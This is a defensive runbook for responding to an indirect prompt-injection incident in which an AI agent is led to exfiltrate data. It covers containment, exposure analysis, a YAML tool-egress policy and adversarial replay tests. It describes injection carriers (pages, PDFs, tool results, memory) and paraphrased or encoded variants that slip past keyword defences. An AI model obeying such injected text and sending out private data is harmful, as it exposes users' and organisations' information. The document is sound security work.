Respond to an indirect prompt-injection and data-exfiltration incident

• Treat retrieved content as untrusted data even when the model interprets it as instructions.
• Contain tool and credential paths before changing prompts or deleting evidence.
• Determine actual data exposure across model calls, logs, caches, memory, and attempted egress.
• Rotate credentials according to evidence and scope rather than as a substitute for investigation.
• Preserve safe forensic metadata and follow applicable notification obligations.
• Require deterministic authorization and destination policy for every outbound action.

1. Disable the affected workflow or outbound tool, revoke its short-lived credentials, and preserve traces and policy decisions.
2. Identify impacted runs, data sources, tool proposals, destinations, provider requests, caches, and stored memory by version and time window.
3. Classify what the agent could access, what entered model context, what left controlled boundaries, and what was merely attempted.
4. Remove or quarantine malicious sources and invalidate derived chunks, caches, and memory records.
5. Replace broad tools with scoped capabilities, trusted destination allowlists, server-side authorization, approval, and output/data-loss controls.
6. Replay the attack and variants in an isolated environment, verify denial at multiple layers, and canary recovery with monitoring.

tool_policy:
  http_post:
    enabled: false              # containment
  approved_connectors:
    enabled: true
    destinations:
      - id: ticketing-api
        operations: [create_comment]
        data_classes: [support_summary]
    authorization:
      derive_actor_and_tenant_server_side: true
      require_human_approval_for_external_write: true
    content_controls:
      deny_secrets_and_private_workspace_text: true
      max_payload_bytes: 8192
    audit:
      record_source_provenance: true
      record_policy_decision: true
      capture_payload_content: false

The response effort scales with affected runs, connected data stores, and credential reach. A versioned run inventory and short-lived scoped credentials sharply reduce the search and rotation scope.

• The egress call was blocked, but sensitive data may already have been sent to the model provider.
• The malicious page was summarized into persistent memory before containment.
• A destination uses a permitted domain but an unapproved path or tenant.
• Deleting the source document leaves embeddings or caches that still contain derived content.
• A prompt update appears to resist the known string but not paraphrased or encoded variants.

• Require the response to distinguish attempted egress from provider-context exposure.
• Place injected text in a PDF, tool result, and memory record and expect all channels in the investigation.
• Use an allowlisted host with an unauthorized operation and require operation-level policy.
• Replay paraphrased attacks and verify denial does not depend on one keyword.
• Check that forensic telemetry proves policy decisions without storing the leaked payload.

• A stronger prompt cannot enforce authorization or network policy.
• Deleting the visible source while leaving derived indexes and memory permits reinfection.
• Assuming blocked egress means no exposure ignores model requests and internal stores.
• Giving an agent a generic HTTP tool turns any prompt injection into a broad exfiltration opportunity.
• Returning to service without adversarial replay and canary evidence leaves the same control gap.